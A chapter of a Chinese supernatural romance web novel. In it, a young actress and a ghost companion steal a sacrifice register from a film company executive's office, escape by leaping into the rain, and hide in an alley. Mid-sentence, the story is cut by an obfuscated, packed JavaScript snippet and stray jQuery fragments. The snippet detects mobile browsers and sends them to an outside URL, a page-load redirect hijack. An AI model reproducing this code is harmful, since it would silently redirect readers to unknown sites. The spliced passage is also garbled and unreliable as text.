电梯停驻的刹那，雾礼攥紧了包带。闻录虚化的身影倚在金属壁上，指尖摩挲着那枚刻有“時”字的铜钱，吊顶的冷光穿透他半透明的轮廓，在地面投下细碎的星芒。


    “你确定要现在进去？”他忽然伸手挡住感应门，“唐瞬的办公室有禁制，我的铜钱只能撑三分钟。”


    雾礼低头检查微型摄像头，蝴蝶胸针在领口振翅欲飞：“三分钟够拍股权协议了。”


    她抬脚时高跟鞋却陷入地毯纹路，踉跄间被闻录托住手肘。他掌心的温度透过蕾丝手套传来，惊得她耳尖发烫。


    “专心点。”闻录的呼吸扫过她后颈，“十点钟方向有符咒残留。”


    雾礼顺着他的指引望去，唐瞬办公室的桃木门框泛着诡异的青灰色，像是被烟熏火燎过。她摸出从剧组顺来的朱砂粉，指尖轻弹，绯色烟尘在空中凝成箭矢形状，正指向门缝下方——那里藏着半截焦黑的黄符。


    闻录突然掐诀，铜钱悬空组成环形阵法。雾礼趁机将胸针摄像头对准锁眼，画面里出现唐瞬的办公桌，堆满文件的角落赫然躺着金色火漆封存的档案袋。


    “还有两分十五秒。”闻录的声音像是从很远的地方传来。


    雾礼屏息推门，檀香味扑面而来。她踮脚绕过满地狼藉——破碎的紫砂壶、撕碎的合同、以及散落的珍珠耳钉，仿佛有人在此激烈争执过。指尖触及档案袋的瞬间，窗外惊雷炸响，火漆上的欢云LOGO突然渗出黑血。


    “别看！”


    闻录的警告迟了半拍。雾礼的瞳孔中倒映出密密麻麻的名字：林悠然、简娜、宋晴……


    每个名字后面都跟着生辰八字与血红指印，最新那行未干的血迹正缓缓拼出“雾礼”二字。


    记忆如潮水漫过神经，她看见颁奖礼那晚的相机悬浮在半空，闻录的魂魄被撕扯成光粒没入镜头。原来早在那时，她的名字就被刻进欢云献祭名册，成为修补时空裂缝的祭品。


    “小心！”


    桃木门轰然闭合，符咒燃起幽蓝鬼火。闻录的铜钱阵被震得七零八落，他实体化的瞬间喷出口金血，却仍用身体替她挡住扑来的火舌。雾礼被气浪掀翻在地，怀中的档案袋散开，照片雪花般飘落——全是她在《有仙则灵》片场被偷拍的瞬间，每张照片边缘都标注着倒计时。


    “献祭仪式……就在明晚杀青宴。”闻录抹去嘴角血迹，拾起张照片。画面里她吊威亚的身影被红圈标记，钢索断裂的瞬间与颁奖礼那晚完美重合。


    雾礼突然抓住他手腕：“你的铜钱能逆转时间对不对？我们回红毯那晚，毁掉相机……”


    “然后看着你被时空乱流撕碎？”闻录反手与她十指相扣，鎏金符文从交握处蔓延至全身，“五年前我拆魂补天隙，如今就算再碎一次，也轮不到你逞英雄。”


    他指尖抚过她锁骨处的莲花咒印，那是昨夜驱鬼时留下的烙印：“我要你活着走出这个轮回。”


    窗外暴雨倾盆，雨幕中隐约传来警笛长鸣。雾礼将档案塞进防水袋，突然听见走廊传来高跟鞋声。唐瞬嘶哑的咆哮穿透门板：“找！翻遍大楼也要把吃里扒外的东西揪出来！”


    闻录揽住她的腰跃上窗台，高层的风灌满西装下摆。雾礼望着脚下如积木大小的车流，突然想起《有仙则灵》里小米粒纵身跃下诛仙台的戏码——原来命运早把答案写在台词里。


    “抓紧。”闻录在她耳边低语，纵身跃入雨幕的刹那，铜钱化作金伞撑开。雾礼的惊呼被狂风卷走，恍惚间看见他后颈浮现银色咒纹，正是相机里流转的“時”字。


    他们在暴雨中坠向霓虹深处，如同两颗逆向飞行的流星。


    铜钱化作的金伞在狂风里剧烈震颤。雾礼死死攥住闻录的衣襟，失重感让她胃部翻涌，耳畔只剩呼啸的风声与他的心跳。


    “怕就闭眼。”闻录的声音混着雨丝擦过耳际。


    雾礼却睁大了眼——地面车流化作蜿蜒光河，写字楼的玻璃幕墙映出他们下坠的身影，像两片被飓风卷落的叶。她忽然想起《有仙则灵》的剧本里，林瑶对朴星说的那句台词：“逆天改命者，终将被天道反噬。”


    “闻录！”她突然喊出声，“你的魂魄——”


    金伞边缘开始崩解，闻录后颈的“時”字咒纹如同烧红的烙铁，在雨幕中滋滋作响。他闷哼一声，揽着她的手臂骤然收紧：“抱紧我！”


    下坠速度猛地减缓，雾礼只觉得眼前金光炸裂，再睁眼时已跌坐在潮湿的小巷里。雨水顺着青石板缝隙漫过脚踝，远处便利店的白炽灯在雨帘中晕成毛茸茸的光团。


    闻录单膝跪地呛出一口血，金丝般的流光从唇边逸散。雾礼慌忙去扶，掌心却穿透了他半透明的手臂。


    “……反噬而已。”他扯出个笑，指腹抹去她脸


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15206202|163595||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    上雨水，“哭什么？”


    “谁哭了！”雾礼抹了把脸，才发现指尖在抖。


    巷口传来凌乱的脚步声，唐瞬尖利的嗓音刺破雨幕：“分头找！有人偷了公司机密！”


    闻录突然拽着她躲进垃圾箱后的凹槽。逼仄空间里，雾礼的脊背紧贴他胸膛，雪松混着铁锈味萦绕鼻尖。唐瞬的高跟鞋声近在咫尺，手电光柱扫过他们头顶的塑料袋。


    “你刚才是不是想替我挡反噬？”闻录的呼吸烫着她耳垂，“傻子才做赔本买卖。”


    雾礼捏紧偷拍的档案袋。塑料袋下的照片露出一角——杀青宴流程表用红笔圈出午夜零点，旁边写着“魂魄归位仪式”。


    “欢云要用我的命补时空裂缝？”她压低嗓音，“可相机里明明是你的……”


    “因为你是‘锚点’。”闻录的指尖在她锁骨莲花咒印上一点，金芒涟漪般荡开，“颁奖礼那晚，你被相机摄走的不只是记忆，还有与现世的‘因果线’。”


    巷口突然传来犬吠。雾礼从塑料袋缝隙看见唐瞬牵着的杜宾犬正狂躁地刨地，项圈上挂着的赫然是欢云特制的铜铃——和《有仙则灵》里镇压恶鬼的法器一模一样。


    “低头！”闻录突然捂住她口鼻。杜宾犬的吠叫变成呜咽，唐瞬暴躁地拽紧狗绳：“废物！连个新人都嗅不出来！”


    等脚步声远去，雾礼才长舒一口气。闻录却突然剧烈咳嗽起来，魂魄如接触不良的灯泡忽明忽暗。


    她慌忙去抓他的手腕，缺捞了个空：“你……”


    “听好。”闻录扣住她后颈迫她直视自己，“杀青宴是机会，只要毁掉相机——”


    “然后呢？”雾礼打断他，“我会消失？”


    闻录沉默了一瞬。雨滴穿透他虚化的身体，在地面溅起细小水花：“我会送你回家。”


    便利店灯光突然熄灭。黑暗中，雾礼感觉有什么冰凉的东西贴上掌心——是那枚刻着“時”字的铜钱，边缘还沾着他的血。


    “拿着它。”闻录的声音轻得像叹息，“就算我碎成渣，这玩意也能保你三分钟无恙。”


    雾礼突然想起什么，从包里摸出手机。宋晴的未读消息堆满锁屏：「雾礼！郭导突然改戏，杀青宴提前到今晚了！」


    雨停了。积水中倒映出乌云散开的夜空，一弯惨白的月亮正悬在寰宇中心大厦顶端，像把弯刀抵住喉咙。